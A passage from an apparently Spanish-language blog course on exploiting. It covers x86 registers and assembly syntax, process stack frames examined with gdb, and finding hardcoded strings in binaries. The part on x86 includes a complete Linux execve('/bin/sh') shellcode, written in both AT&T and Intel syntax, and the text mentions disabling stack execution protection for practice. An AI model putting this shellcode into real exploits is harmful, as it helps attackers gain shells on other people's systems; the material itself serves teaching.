 80483e9:    89 04 24                 mov    %eax,(%esp)
 80483ec:    e8 03 ff ff ff           call   80482f4 <printf@plt>
 80483f1:    b8 00 00 00 00           mov    $0x0,%eax
 80483f6:    c9                       leave 
 80483f7:    c3                       ret

Vemos que la string se hardcodea directamente en instrucciones, 0x616c6f48 corresponde a "Hola" y 0xa a "\n" (a consultar la tabla ASCII). Así que ojito, que no siempre los datos que buscamos están en .data o .rodata, .bss y .stack también existen (como Teruel).

Búsqueda de strings hardcodeadas

Bueno, ya tenemos la teoría cogida, sabemos dónde suelen estar los datos, sabemos que a veces no están en donde esperamos y sabemos mirar las tripas del programa para buscar esos datos, pero esto puede ser bastante coñazo. Para evitarnos tanto lío existe un programa para sacarle las strings a un binario, se llama strings. Para ver un ejemplo tomemos el programa de la "CADENA_HARDCODEADA" que ya usamos anteriormente:

$ strings hardcoding
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
strcmp
__libc_start_main
GLIBC_2.0
PTRh
[^_]
CADENA_HARDCODEADA

Vemos que no hay misterio ninguno, ahí tenemos la cadena, ¿tanto rollo para algo tan simple?. Bueno, esta muy bien tirar herramientas a lo loco, pero personalmente no es la esencia de lo que hago, a mi me gusta intentar entender hasta el último bit de lo que está pasando y de lo que estoy haciendo (no siempre lo consigo).

Strings básicamente lo que hace es buscar por todo el binario cadenas "printeables". No voy a detenerme aquí a hablar mucho más de strings, pero comentar que existe un fallo de noob que es lanzar strings y si no se encuentra nada es que no hay. Strings busca por defecto cadenas de tamaño mínimo 4 (para evitar bastante ruido), si la cadena hardcodeada fuera de tamaño 3 o menos y lanzasemos strings a lo loco no nos aparecería. No es la primera vez que me encuentro esto en un wargame.

Otra cosa, strings sirve para lo que dice su nombre, buscar strings, no números ni otros tipos de datos, para eso tendremos que reversear el binario y buscarlo entre instrucciones, la sección .data, la .rodata, etc...

Jueguito para practicar

Todo esto está muy bien, pero mola más ponerlo en práctica un poco. Aquí les dejo una serie de pruebillas para juguetear un poco con todo lo que hemos visto ;).

Prueba 1.
Prueba 2.

A divertirse.

martes, 7 de agosto de 2012

Minicurso de exploiting (parte 4): Introducción a la arquitectura x86

La arquitectura x86:

Cada vez que pienso en un curso de exploiting tengo claro que hay que dedicar parte del mismo a la arquitectura sobre la que se trabaja. En nuestro caso será la de los procesadores de Intel por ser probablemente la más famosa y más extendida, aunque con la cantidad de dispositivos móviles que han ido surgiendo en los últimos años, haríamos bien en estudiar ARM.

Un repaso rápido por la historia de esta familia de procesadores. Creo recordar que Intel empezo con el microprocesador 4004 (para unas calculadoras), y que más adelante acabo diseñando el microprocesador 8086, el primero de la familia x86. Más adelante pasarían por el 8088, el 80186, el 80286 y luego llegarían al 80386 también conocido como "el 386", procesador que marcó una época. Luego llegarían el 80486 y de ahí en adelante la infinidad de procesadores de la familia Pentium (cuyas arquitecturas se siguen llamando i586, i686...).

Lo especial de la arquitectura del 386 (que es la que tocaremos) es que fué la que se usó en la mayoría de PCs alrededor del mundo y que era de 32 bits. Actualmente sigue siendo interesante estudiarla porque sigue habiendo muchos sistemas de 32 bits y además los más modernos procesadores de 64 bits permiten la ejecución de programas de 32 bits.

Los registros:

Como sabemos, los procesadores tienen en su interior ciertos tipos de memoria, la más conocida suele ser la memoria caché, en general con dos niveles L1 y L2 (creo que hay algunos procesadores que tienen incluso un tercer nivel L3, pero no suele ser lo general). Aunque esto para nosotros es transparente.

Otro tipo de memoria que tienen, aún más reducida y más rápida son los registros. Un registro es básicamente un pequeño almacén de un tamaño concreto y pequeño (1 byte, 2 bytes, 4 bytes...). Las instrucciones pueden realizar su cometido tanto con la memoria como con los registros. La arquitectura i386 divide los registros en tres categorías:
  • Registros de propósito general:
    • EAX (Extended Accumulator)
    • EBX (Extended Base index)
    • ECX (Extended Counter)
    • EDX (Extended Data index)
    • ESI (Extended Source Index)
    • EDI (Extended Destination Index)
    • ESP (Extended Stack Pointer)
    • EBP (Extended Base Pointer)
  • Registros de segmento:
    • CS (Code Segment)
    • DS (Data Segment)
    • SS (Stack Segment)
    • ES (Extra Segment)
    • FS (¿Frame? Segment)
  • Registros de control:
    • EIP (Extended Instruction Pointer)
    • EFLAGS (Extended FLAGS)
No trataré los registros de segmento ya que a la hora de programar en espacio de usuario no se suelen tocar, sino cuando se programa en espacio de kernel. Existen debido a que la arquitectura i386 permite un modelo de memoria tanto paginado como segmentado. Pero que sepamos que existen y que cuando nos metemos a nivel de kernel podríamos llegar a sufrirlos (yo los he sufrido xD).

Los interesantes a tratar son los de propósito general, estos registros son todos de 32 bits, la "e" de "extended" hace referencia a ello, pero también se pueden usar como registros de 16 bits o incluso 8 bits si nos referimos a ellos como AX (para acceder a los 16 bits menos significativos de EAX) o AH (Accumulator High) para acceder a los 8 bits más significativos de AX y AL (Accumulator Low) para los 8 bits menos significativos de AX. Y esto se repite con EBX, ECX y EDX.

Todos estos registros tienen ciertas implicaciones sobre según qué instrucciones, por lo tanto a la hora de programar en ensamblador (¿qué pasa? divertidísimo) asegúrate de tener un manual o un listado con las instrucciones que detalle todo lo que hacen. Por ejemplo, con las instrucciones de la familia rep (repetition) se repite la instrucción a la que rep hace referencia hasta que ECX llega a 0. Con las instrucciones orientadas a strings (el mnemónico comienza por la letra "s") ESI actúa como el puntero a la string de origen y EDI como el puntero a la string de destino. Esto ya hay que estudiarlo cuando te vayas a pegar con ello, no puedo tratarlo todo aquí (además de que no me lo sé todo, claro está).

Sobre los registros de control, pues EIP no puede ser accedido directamente, pero si indirectamente con instrucciones de la familia call y ret. EFLAGS es un registro de flags como su nombre indica. Mantiene información de si la última instrucción ha producido acarreo, un cero, un positivo o un negativo, la paridad, etc...

Instrucciones x86:

La arquitectura x86 es CISC (Complex Instruction Set Computer), esto quiere decir que estos procesadores tienen un mogollón de instrucciones, a cual más compleja y extravagante, cuyos cometidos pueden ir desde incrementar en 1 un registro hasta freir un huevo sin necesidad de aceite (instrucción "feggwo" Fry EGG Without Oil). ¿Y qué quiero decir al soltar esto al principio? Pues que no voy a hacer un listado de todas, ni de lo que hacen ni nada de nada xD. Tampoco hablaré de todos los modos de direccionamiento de la memoria que pueden usar estas instrucciones ni de como se encodean a binario. ¿Para qué una sección de instrucciones si no voy a hablar de ellas?, pues para poner un par de ejemplos y así vayamos viendo un poco las instrucciones que más vamos a utilizar en este curso... porque programaremos en ensamblador, ya lo adelanto.

Veamos un ejemplo de código para una shellcode (para Linux) escrito con sintaxis AT&T.

.globl _start
_start:
 jmp  trick
shellcode:
 pop  %esi
 xor  %eax, %eax
 movb %al, 0x7(%esi)
 movl %esi, 0x8(%esi)
 movl %eax, 0xc(%esi)
 movl %esi, %ebx
 movl %esi, %ecx
 addb $0x8, %cl
 xor  %edx, %edx
 xor  %esi, %esi
 movb $0xb, %al
 int  $0x80

trick:
 call  shellcode

.string "/bin/shABBBBCCCC"

Ahora el mismo ejemplo con sintaxis Intel.

 jmp  trick

shellcode:
 pop  esi
 xor  eax, eax
 mov  [esi + 0x7], al
 mov  [esi + 0x8], esi
 mov  [esi + 0xc], eax
 mov  ebx, esi
 mov  ecx, esi
 add  cl, 8
 xor  edx, edx
 xor  esi, esi
 mov  al, 0xb
 int  0x80

trick:
 call shellcode

db "/bin/shABBBBCCCC"
  
Lo que quiero hacer notar con esto es que existen dos (no sé si más) sintaxis distintas y muy extendidas para escribir en ensamblador de x86, la de AT&T y la de Intel. Y tienen bastante diferencias que debemos tener en cuenta. Las principales son las siguientes:
  • En AT&T se pone el registro destino a la derecha, Intel a la izquierda.
  • En AT&T para referenciar a un registro le tenemos que poner un '%' delante, en Intel no.
  • En AT&T los literales (números directamente en un operando) se marcan con un '$' al principio, en Intel no.
  • En AT&T los direccionamientos van entre paréntesis, en Intel van entre corchetes.
  • En AT&T los desplazamientos en un direccionamiento van fuera de los paréntesis, en Intel van dentro de los corchetes.
  • En AT&T el mnemónico de la instrucción hace referencia al tamaño del tipo de dato que utiliza b para byte, w para word (2 bytes), l para long (4 bytes) y no estoy seguro si d para double (8 bytes), en Intel no se usan estas letras.
Para el primer ejemplo podríamos usar gcc para compilar, para el segundo podemos usar nasm... aunque no estoy seguro si se le puede decir a gcc que compile un código con sintaxis Intel, creo que sí.

Conclusión, aunque x86 tiene infinidad de instrucciones a la hora de programar no usaremos demasiadas (aunque usaremos más que las vistas en estos ejemplos). Donde sí nos hará más falta conocer las instrucciones y tener los manuales preparados al lado será a la hora del reversing.

Espero con esto haber alimentado un poco la curiosidad sobre x86. Esto sólo es un comienzo, yo no puedo ponerme aquí a dar un curso completo de x86 (porque necesitaría mucho tiempo y porque no soy un gurú de esta arquitectura). Esto es un curso de exploiting, ahora te toca a tí currártelo. Además aprenderemos bastante según avance el curso a base de pegarnos con estas cosas.

Saludos.

lunes, 6 de agosto de 2012

Minicurso de exploiting (parte 3): Introducción a los procesos

La pila de un proceso:

En la entrada anterior vimos cómo es un proceso mientras se esta ejecutando, vimos que tenía varias regiones de memoria cada una con un propósito concreto. En esta entrada vamos a estudiar una de esas regiones en profundidad, en concreto la pila/stack (a veces la llamo de una forma y a veces de otra).

Recordemos cómo es esta región "vista desde fuera":

$ ps | egrep bash
 2312 pts/0    00:00:00 bash
$ cat /proc/2312/maps | egrep stack
bfa6c000-bfa8d000 rw-p 00000000 00:00 0          [stack]

Como podemos ver la región de memoria donde está la pila de este proceso (bash) comienza en bfa6c000 y termina en bfa8d000, pero esto no tiene que ser así siempre, nos referimos a que estas direcciones (en concreto la primera) puede cambiar ya que la pila es una parte del proceso que crece y decrece según el proceso se ejecuta, es decir que es dinámica.

También podemos ver los permisos de esta región rw-p, lo que significa que es de lectura (r), escritura (w) y privada (p). Para que no nos quedemos en la duda comentaré que lo de privada significa que esa zona pertenece sólo a ese proceso y no a todas sus copias, y que por lo tanto si una copia de este proceso va a modificar una página de memoria asociada a una dirección dentro de esta región, se debe hacer una copia de esa página (se marca debido al sistema de copy-on-write que usa Linux). Tengo que resaltar que los permisos de ejecución están desactivados. Esto es una medida de seguridad, la podemos llamar Exec-Shield, bit NX, DEP, W^X o de otras formas si nos movemos en otros sistemas. En Linux se lo suele conocer como Exec-Shield, en x86 (si el procesador lo soporta directamente) es bit NX y en Windows DEP (Data Execution Prevention), en BSD o al menos OpenBSD es W^X. Sea como sea el resultado es el mismo, impedir la ejecución de instrucciones que se encuentran en regiones de datos. Tiempo ha, esto no era así, la pila estaba marcada con permisos de ejecución. Ya veremos en otras entradas como esto fue una cagada bien grande. Por suerte y para hacer ciertas prácticas y pruebas, vamos a poderlo desactivar (back to 90s). También dedicaré algún día una pequeña entrada a explicar un poco más como funciona esta tecnología (más histórico que otra cosa).

Esto es lo que podemos comentar de lo que es "el entorno de la pila", pero ¿qué hay en la pila? y sobre todo ¿cómo está ordenado lo que quiera que haya?. Estas son las preguntas que vamos a responder a continuación y que deberemos aprender bien para poder desarrollar exploits con éxito. Un último detalle, lo que a continuación explicaré es cómo se hacen las cosas normalmente, pero no es un estándar (no que yo sepa) y podría hacerse de otras formas (aunque no sería cómodo) así que esto se podrá aplicar al 99% de los programas, pero no nos creamos que esto es impepinable y que no podríamos encontrarnos cosas raras.

Empecemos contestando qué es lo que hay en la pila. Un proceso al final acaba siendo la ejecución de un conjunto de funciones. Estas funciones necesitan cierto espacio de memoria donde hacer sus cosas (no, las funciones no hacen caca), un trozo de memoria donde existir mientras se ejecutan y que puedan liberar fácilmente cuando terminen. Pues lo que hay en la pila básicamente son estos espacios donde una función se ejecuta. Existe un espacio por cada ejecución de una función (si una función se ejecuta más de una vez, en la pila se habrá creado un espacio por cada ejecución), estos espacios se dan cuando una función va a ser ejecutada y se libera al finalizar la misma, fácil ¿no?. A estos espacios se les suele llamar de muchas formas, yo lo suelo llamar "stack frame" (aunque no sé si es correcto, no sé de donde lo he sacado), en la wikipedia tenemos esta entrada donde los llaman "call stack" por si queremos profundizar.
Evolución de la pila durante la ejecución de un proceso

En la figura anterior podemos apreciar que la pila crece hacia direcciones más pequeñas. Esto al principio puede hacer que nos perdamos, pero con un poco de práctica acabaremos interiorizándolo muy rápidamente. El por qué esto es así se debe a una decisión de diseño del repertorio de instrucciones de x86, las instrucciones orientadas a añadir cosas a la pila (push y variantes) lo que hacen es decrementar el puntero de pila y las que quitan (pop y variantes) lo que hacen es incrementarlo. Aquí ya estamos añadiendo nuevos conceptos, el puntero de pila. Por ahora simplemente diremos que, como es lógico, existen un par de registros/valores/números que indican el comiezo y del final del stack frame de la función ejecutándose en cada momento (se llaman ESP y EBP). Seguro que a muchos ya les suena esto o incluso saben perfectamente de lo que hablo, pero aún así le dedicaré una entrada a analizar un poco en detalle ciertas características de la arquitectura x86 necesario para moverse con más facilidad en estos temas (si lo que quieres es hacer exploiting en ARM, SPARC u otra arquitectura vas a tener que analizar por tu cuenta dicha arquitectura xD).

Bueno, una vez sabemos qué hay en la pila pasemos a ver cómo se ordena cada uno de esos stack frames. El diseño e implementación de los stack frame es una decisión tomada a la hora de implementar un compilador. Es el compilador el que genera el código de los programas y que por lo tanto pondrá el código necesario para que antes de una llamada a función se cree su stack frame, y también pondrá el código necesario para liberar el stack frame cuando la ejecución de la función termine.

Cada implementación de un compilador para un lenguaje concreto podría organizar los stack frames como le diera la gana, pero por hacer las cosas bien, facilitar el desarrollo de debuggers y mil motivos más, los stack frames suelen ser iguales... y con esto me refiero a iguales a los que produce un compilador de C. Veamos entonces qué contiene un stack frame y en qué orden lo contiene:
  • Parámetros para la función.
  • La dirección a la que retornar cuando la función termine su ejecución.
  • El comienzo del stack frame de la función anterior.
  • Espacio variables locales a la función.
No es mucho, ¿verdad?. Esto es todo lo que hay dentro de un stack frame, aunque claro, dependiendo del número y tipo de parámetros y número y tipo de variables locales, leer un stack frame puede ser laborioso. Una aclaración, los parámetros de la función es lo primero que se pushea a la pila (es decir, que estará en direcciones más altas de memoria, más alejado de la cima de la pila) y las variables locales es lo último que se aparece (es decir, que estará en direcciones más bajas de memoria, más cerca de la cima de la pila). La siguiente figura puede que aclare un poco esto.
Apariencia de un stack frame en la pila

Para ver un stack frame en la realidad vamos con un ejemplo real.

int func(int foo, int bar) {
   int local;

   return 0;
}

int main(int argc, char *argv[]) {
   func(1, 2);
   return 0;
}


Este será el programa que compilaremos, tiene una función (func) con dos parámetros (foo y bar) y una variable local (local). Compilamos normalmente.

$ gcc -o stack_frame stack_frame.c

Y ahora vamos a meternos en sus entrañas. Usaremos el gdb, este programa es grande y complejo, no usaremos muchos comandos pero los suficientes como para perderse. No voy a explicar como usar gdb (demasiado grande y demasiado tiempo me llevaría), pero sobran manuales en internet sobre como manejarse. Además los ejemplos serán (relativamente) fáciles de seguir.

$ gdb -q stack_frame
Leyendo símbolos desde /path/stack_frame...(no se encontraron símbolos de depuración)hecho.
(gdb)disas main
Dump of assembler code for function main:
   0x080483a1 <+0>:    push   %ebp
   0x080483a2 <+1>:    mov    %esp,%ebp
   0x080483a4 <+3>:    sub    $0x8,%esp
   0x080483a7 <+6>:    movl   $0x2,0x4(%esp)
   0x080483af <+14>:    movl   $0x1,(%esp)
   0x080483b6 <+21>:    call   0x8048394 <func>
   0x080483bb <+26>:    mov    $0x0,%eax
   0x080483c0 <+31>:    leave
   0x080483c1 <+32>:    ret  
End of assembler dump.


Aquí tenemos el desamblado de main(), he marcado en negrita la instrucción que llama a la función func(). Sin embargo no es aquí donde empieza a construirse el stack frame de func() sino antes, concretamente en la instrucción main+3 (el sub). Aquí gcc usa truquillos de optimización, en vez de pushear cada uno de los parámetros de func() lo que hace es, primero reservar directamente ese espacio restándole 8 directamente al puntero de pila y luego poner los dos parámetros en la pila (¿por qué es eso más eficiente que dos instrucciones push? A los ingenieros de Intel y de GCC, no a mi), en cualquier caso el resultado es el mismo. Con eso ya tendríamos la parte de los parámetros, luego viene la dirección a la que debe retornar func(), la instrucción call se encarga de eso, además de redirigir el flujo de ejecución a func() también pushea a la pila la dirección de la siguiente instrucción (0x08483bb o main+26 que es más fácil :). Con eso ya tenemos construido parámetros y dirección de retorno. Falta guardar el comienzo del stack frame anterior (es decir, el de main()) y también espacio para las variables locales. Veamos el desamblado de func().

(gdb) disas func
Dump of assembler code for function func:
   0x08048394 <+0>:    push   %ebp
   0x08048395 <+1>:    mov    %esp,%ebp
   0x08048397 <+3>:    sub    $0x10,%esp

   0x0804839a <+6>:    mov    $0x0,%eax
   0x0804839f <+11>:    leave
   0x080483a0 <+12>:    ret  
End of assembler dump.


He marcado en negrita las tres instrucciones que cumplen ese cometido. La primera pushea el EBP (Extended Base Pointer) que es el registro que contiene la referencia al stack frame de main() (a partir de ahora a los EBP que se van guardando en cada stack frame los llamaremos Saved EBP), ya tenemos parámetros, dirección de retorno y Saved EBP (de main). Vemos como ahora hay una instrucción mov, lo que hace es cambiar EBP y hacerlo apuntar al mismo sitio que ESP (la cima de la pila) es decir, el EBP de un stack frame apunta al Saved EBP. Esto es lioso pero con el tiempo y la práctica también se interioriza al igual que el crecimiento de la pila. Y finalmente está la instrucción sub que reserva espacio para variables locales. Aquí nos puede saltar la duda de por qué si func() sólo tiene una variable local entera, que en x86 de 32 bits son 4 bytes, se reservan 16 bytes. Buena pregunta, no lo sé pero es así xDD. A veces pienso que puede ser para dejar un margen entre las variables locales (memoria que supuestamente se va a usar con frecuencia) y el Saved EBP y la dirección de retorno (valores que no se deberían tocar) y si el programador ha cometido algún error de saltarse rangos pero no demasiado bestia (1 byte, 2 bytes... 4 bytes, márgenes pequeños), pues con este margen se evita que el programa pete. Pero no lo sé seguro.

Bueno, ahora vamos a algo un poco más hardcore, vamos a ver este stack frame.

(gdb) br *func+6
Punto de interrupción 1 at 0x804839a

(gdb) r
Starting program: /path/stack_frame

Breakpoint 1, 0x0804839a in func ()

(gdb) print /x $esp
$1 = 0xbffff3d8
(gdb) print /x $ebp
$2 = 0xbffff3e8
(gdb) x/20xw $esp
0xbffff3d8:    0x080483e0    0xbffff3f8    0x0015e985    0x0011eb60
0xbffff3e8:    0xbffff3f8    0x080483bb    0x00000001    0x00000002
0xbffff3f8:    0xbffff478    0x00145ce7    0x00000001    0xbffff4a4
0xbffff408:    0xbffff4ac    0xb7fff848    0xbffff554    0xffffffff
0xbffff418:    0x0012cff4    0x08048215    0x00000001    0xbffff460


Si al ver esto te ha entrado miedo en vez de curiosidad no te recomiendo seguir con el curso xD, ya que esto se va a repetir continuamente, ésta es la esencia del reversing y el exploiting jejeje.

Vayamos poquito a poco, simplemente he parado el programa justo al terminar de construir el stack frame de func() y he volcado un poco de la memoria a partir del puntero de pila (ESP). Veamos este volcado con colores.

0xbffff3d8:    0x080483e0    0xbffff3f8    0x0015e985    0x0011eb60
0xbffff3e8:    0xbffff3f8    0x080483bb    0x00000001    0x00000002
0xbffff3f8:    0xbffff478    0x00145ce7    0x00000001    0xbffff4a4
0xbffff408:    0xbffff4ac    0xb7fff848    0xbffff554    0xffffffff
0xbffff418:    0x0012cff4    0x08048215    0x00000001    0xbffff460


He usado los mismos colores que en la figura anterior dónde veíamos como estaba organizado un stack frame. En amarillo tenemos los 16 bytes que se reservan para variables locales, en azul el Saved EBP, en verde la dirección de retorno y en rojo los dos parámetros. Podemos confirmarlo, antes mostré los contenidos de EBP y ESP (marcados en negrita) y vemos como efectivamente EBP apunta a 0xbffff3e8 y ESP a 0xbffff3d8. 0x080483bb efectivamente es la siguiente instrucción al call que llama a func() en main().

(gdb) disas main
Dump of assembler code for function main:
   0x080483a1 <+0>:    push   %ebp
   0x080483a2 <+1>:    mov    %esp,%ebp
   0x080483a4 <+3>:    sub    $0x8,%esp
   0x080483a7 <+6>:    movl   $0x2,0x4(%esp)
   0x080483af <+14>:    movl   $0x1,(%esp)
   0x080483b6 <+21>:    call   0x8048394 <func>
   0x080483bb <+26>:    mov    $0x0,%eax
   0x080483c0 <+31>:    leave 
   0x080483c1 <+32>:    ret   
End of assembler dump.

Y como era de esperar, los parámetros son 1 y 2 ya que así lo escribimos en el código fuente.

int main(int argc, char *argv[]) {
    func(1, 2);
    return 0;
}

Bueno, pues ya hemos visto qué es lo que hay en la pila y cómo está ordenado. Debo advertir una cosa, hemos visto una función de las más comúnes, las que crean los programadores, pero los stack frames no siempre se crean así. Por poner un ejemplo, si nos ponemos a analizar el comienzo de la función main() de diferentes programas (alguno nuestro, bash, sleep, etc...) muchas veces encontraremos una instrucción tal que "and    $0xfffffff0,%esp", que no hemos visto aquí. ¿Y esto por qué? bueno, los motivos pueden llegar a ser muy oscuros y yo no me los sé, además esta instrucción no aparece siempre y no sé exactamente bajo que condiciones aparece... pero me la juego a que lo que pretende hacer es que a partir de main() la pila esté alineada a direcciones de 16 bytes. Con esto lo que quiero mostrar es que no te creas todo lo que digo ni te lo tomes al pie de la letra, investiga cada caso.

Bueno, esta entrada es bastante larga pero es que lo que aquí se describe (los stack frames) debe quedar meridianamente claro.

Saludos.